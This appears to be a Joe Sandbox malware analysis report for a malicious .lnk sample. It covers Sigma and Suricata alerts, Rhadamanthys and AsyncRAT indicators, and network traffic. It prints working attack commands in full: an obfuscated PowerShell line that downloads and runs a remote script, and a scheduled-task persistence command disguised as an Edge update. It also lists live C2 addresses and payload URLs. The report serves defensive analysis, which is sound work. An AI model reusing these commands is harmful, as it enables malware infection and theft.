ParentImage: C:\Users\Public\ajbs50ul.bat, ParentProcessId: 7664, ParentProcessName: ajbs50ul.bat, ProcessCommandLine: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{808CCC00-48CC-4040-C488-C044888CCCC0}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)", ProcessId: 7680, ProcessName: powershell.exe

Sigma detected: Potentially Suspicious Malware Callback Communication

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 185.196.9.174, DesusertionIsIpv6: false, DesusertionPort: 7777, EventID: 3, Image: C:\Windows\System32\regsvr32.exe, Initiated: true, ProcessId: 1072, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49990

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7456, TargetFilename: C:\Users\Public\ajbs50ul.bat

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7456, TargetFilename: C:\Users\Public\ajbs50ul.bat

Sigma detected: Dllhost Internet Connection

Source: Network Connection

Author: bartblaze: Data: DesusertionIp: 46.29.238.96, DesusertionIsIpv6: false, DesusertionPort: 4872, EventID: 3, Image: C:\Windows\System32\dllhost.exe, Initiated: true, ProcessId: 4152, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49987

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: "C:\Users\Public\ajbs50ul.bat" , CommandLine: "C:\Users\Public\ajbs50ul.bat" , CommandLine|base64offset|contains: , Image: C:\Users\Public\ajbs50ul.bat, NewProcessName: C:\Users\Public\ajbs50ul.bat, OriginalFileName: C:\Users\Public\ajbs50ul.bat, ParentCommandLine: p""ow""er""s""h""ell /""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7456, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\ajbs50ul.bat" , ProcessId: 7664, ProcessName: ajbs50ul.bat

Sigma detected: Network Connection Initiated By Regsvr32.EXE

Source: Network Connection

Author: Dmitriy Lifanov, oscd.community: Data: DesusertionIp: 185.196.9.174, DesusertionIsIpv6: false, DesusertionPort: 7777, EventID: 3, Image: C:\Windows\System32\regsvr32.exe, Initiated: true, ProcessId: 1072, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49990

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7456, TargetFilename: C:\Users\Public\ajbs50ul.bat

Sigma detected: Potential Regsvr32 Commandline Flag Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini, CommandLine: C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini, CommandLine|base64offset|contains: , Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1124, ProcessCommandLine: C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini, ProcessId: 7908, ProcessName: regsvr32.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: p""ow""er""s""h""ell /""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit, CommandLine: p""ow""er""s""h""ell /""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit, CommandLine|base64offset|contains: o`, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c p""ow""er""s""h""ell/""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7372, ParentProcessName: cmd.exe, ProcessCommandLine: p""ow""er""s""h""ell /""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit, ProcessId: 7456, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{808CCC00-48CC-4040-C488-C044888CCCC0}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)", CommandLine: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{808CCC00-48CC-4040-C488-C044888CCCC0}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)", CommandLine|base64offset|contains: -, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\Public\ajbs50ul.bat" , ParentImage: C:\Users\Public\ajbs50ul.bat, ParentProcessId: 7664, ParentProcessName: ajbs50ul.bat, ProcessCommandLine: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{808CCC00-48CC-4040-C488-C044888CCCC0}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)", ProcessId: 7680, ProcessName: powershell.exe

Suricata Signatures

ETPRO JA3 HASH Suspected Malware Related Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T20:52:37.456819+0200	2854824	2	Potentially Bad Traffic	147.45.126.71	3752	192.168.2.9	49925	TCP
2024-10-08T20:52:49.706284+0200	2854824	2	Potentially Bad Traffic	147.45.126.71	3752	192.168.2.9	49984	TCP

ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T20:53:21.527681+0200	2842478	1	Malware Command and Control Activity Detected	185.196.9.174	7777	192.168.2.9	49990	TCP

ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T20:52:26.413597+0200	2854802	1	Domain Observed Used for C2 Detected	147.45.126.71	3752	192.168.2.9	49855	TCP
2024-10-08T20:52:37.456819+0200	2854802	1	Domain Observed Used for C2 Detected	147.45.126.71	3752	192.168.2.9	49925	TCP
2024-10-08T20:52:49.706284+0200	2854802	1	Domain Observed Used for C2 Detected	147.45.126.71	3752	192.168.2.9	49984	TCP
2024-10-08T20:53:06.826221+0200	2854802	1	Domain Observed Used for C2 Detected	46.29.238.96	4872	192.168.2.9	49989	TCP
2024-10-08T20:54:11.771579+0200	2854802	1	Domain Observed Used for C2 Detected	46.29.238.96	4872	192.168.2.9	54350	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 13.3.regsvr32.exe.2964f80.1.raw.unpack

Malware Configuration Extractor: Rhadamanthys {"C2 url": "https://147.45.126.71:3752/20846e26ac9fe96c52/8ackhmnt.9e5wm"}

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\ajbs50ul.bat	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Roaming\u0ow.ini	ReversingLabs: Detection: 45%

Multi AV Scanner detection for submitted file

Source: rpQF1aDIK4.lnk

ReversingLabs: Detection: 13%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for sample

Source: rpQF1aDIK4.lnk

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.9:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.9:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.9:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.9:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.9:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.9:49988 version: TLS 1.2

Source:	Binary string: kernel32.pdbUGP source: regsvr32.exe, 00000008.00000003.1531905231.000000001C640000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1531773811.000000001C580000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: kernelbase.pdbUGP source: regsvr32.exe, 00000008.00000003.1532489934.000000001C580000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1533339761.000000001C860000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1540794217.0000022BF7CC0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1543994680.0000022BF7FA0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: regsvr32.exe, 00000008.00000003.1531284036.000000001C770000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1530854144.000000001C580000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1537268899.0000022BF7CC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: kernel32.pdb source: regsvr32.exe, 00000008.00000003.1531905231.000000001C640000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1531773811.000000001C580000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: regsvr32.exe, 00000008.00000003.1531284036.000000001C770000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1530854144.000000001C580000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1537268899.0000022BF7CC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: win32u.pdb source: wmpshare.exe
Source:	Binary string: kernelbase.pdb source: regsvr32.exe, 00000008.00000003.1532489934.000000001C580000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1533339761.000000001C860000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1540794217.0000022BF7CC0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1543994680.0000022BF7FA0000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\Public\ajbs50ul.bat

Code function: 4_2_00007FF7177540F0 memcpy,memcpy,memset,FindFirstFileW,memcpy,GetLastError,FindClose,GetLastError,

4_2_00007FF7177540F0

Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft\InputPersonalization\TrainedDataStore	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft\InputPersonalization	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft	Jump to behavior

Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 4x nop then dec esp		14_2_0000023D20D05641
Source: C:\Windows\System32\rekeywiz.exe	Code function: 4x nop then dec esp		18_2_000001AADAE25641

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2854802 - Severity 1 - ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert : 147.45.126.71:3752 -> 192.168.2.9:49855
Source: Network traffic	Suricata IDS: 2854802 - Severity 1 - ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert : 147.45.126.71:3752 -> 192.168.2.9:49925
Source: Network traffic	Suricata IDS: 2854802 - Severity 1 - ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert : 147.45.126.71:3752 -> 192.168.2.9:49984
Source: Network traffic	Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 185.196.9.174:7777 -> 192.168.2.9:49990
Source: Network traffic	Suricata IDS: 2854802 - Severity 1 - ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert : 46.29.238.96:4872 -> 192.168.2.9:49989
Source: Network traffic	Suricata IDS: 2854802 - Severity 1 - ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert : 46.29.238.96:4872 -> 192.168.2.9:54350

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 185.196.9.174 7777

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://147.45.126.71:3752/20846e26ac9fe96c52/8ackhmnt.9e5wm

Source: unknown

Network traffic detected: IP country count 13

Source: global traffic	TCP traffic: 192.168.2.9:49802 -> 130.133.110.14:33445
Source: global traffic	TCP traffic: 192.168.2.9:49803 -> 194.249.212.109:33445
Source: global traffic	TCP traffic: 192.168.2.9:49855 -> 147.45.126.71:3752
Source: global traffic	TCP traffic: 192.168.2.9:49866 -> 104.223.122.15:3389
Source: global traffic	TCP traffic: 192.168.2.9:49867 -> 51.254.84.212:33445
Source: global traffic	TCP traffic: 192.168.2.9:49987 -> 46.29.238.96:4872
Source: global traffic	TCP traffic: 192.168.2.9:49990 -> 185.196.9.174:7777
Source: global traffic	TCP traffic: 192.168.2.9:49993 -> 185.58.206.164:33445
Source: global traffic	TCP traffic: 192.168.2.9:49994 -> 195.93.190.6:33445
Source: global traffic	TCP traffic: 192.168.2.9:49996 -> 95.215.44.78:3389
Source: global traffic	TCP traffic: 192.168.2.9:49997 -> 163.172.136.118:3389
Source: global traffic	TCP traffic: 192.168.2.9:49999 -> 37.97.185.116:33445
Source: global traffic	TCP traffic: 192.168.2.9:50000 -> 80.87.193.193:3389
Source: global traffic	TCP traffic: 192.168.2.9:50001 -> 46.229.52.198:33445
Source: global traffic	TCP traffic: 192.168.2.9:50002 -> 85.21.144.224:33445
Source: global traffic	TCP traffic: 192.168.2.9:50003 -> 37.187.122.30:3389
Source: global traffic	TCP traffic: 192.168.2.9:50004 -> 205.185.116.116:33445
Source: global traffic	TCP traffic: 192.168.2.9:50005 -> 198.98.51.198:3389
Source: global traffic	TCP traffic: 192.168.2.9:50006 -> 104.233.104.126:33445
Source: global traffic	TCP traffic: 192.168.2.9:50010 -> 148.251.23.146:2306
Source: global traffic	TCP traffic: 192.168.2.9:50012 -> 193.124.186.205:33445

Source: global traffic	HTTP traffic detected: GET /test.txt HTTP/1.1Host: 1h982d.bemostake.spaceConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /test/ast21/g341g43134g/2245h1234/f21f2123/Rh-416-72-341-23.exe HTTP/1.1Host: bemostake.spaceConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /utox_x86.exe HTTP/1.1Host: rocketdocs.lolConnection: Keep-Alive

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2854824 - Severity 2 - ETPRO JA3 HASH Suspected Malware Related Response : 147.45.126.71:3752 -> 192.168.2.9:49925
Source: Network traffic	Suricata IDS: 2854824 - Severity 2 - ETPRO JA3 HASH Suspected Malware Related Response : 147.45.126.71:3752 -> 192.168.2.9:49984

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 194.249.212.109
Source: unknown	TCP traffic detected without corresponding DNS query: 194.249.212.109
Source: unknown	TCP traffic detected without corresponding DNS query: 194.249.212.109
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 194.249.212.109
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71

Source: C:\Users\Public\ajbs50ul.bat

Code function: 4_2_00007FF717747580 recv,WSAGetLastError,

4_2_00007FF717747580

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
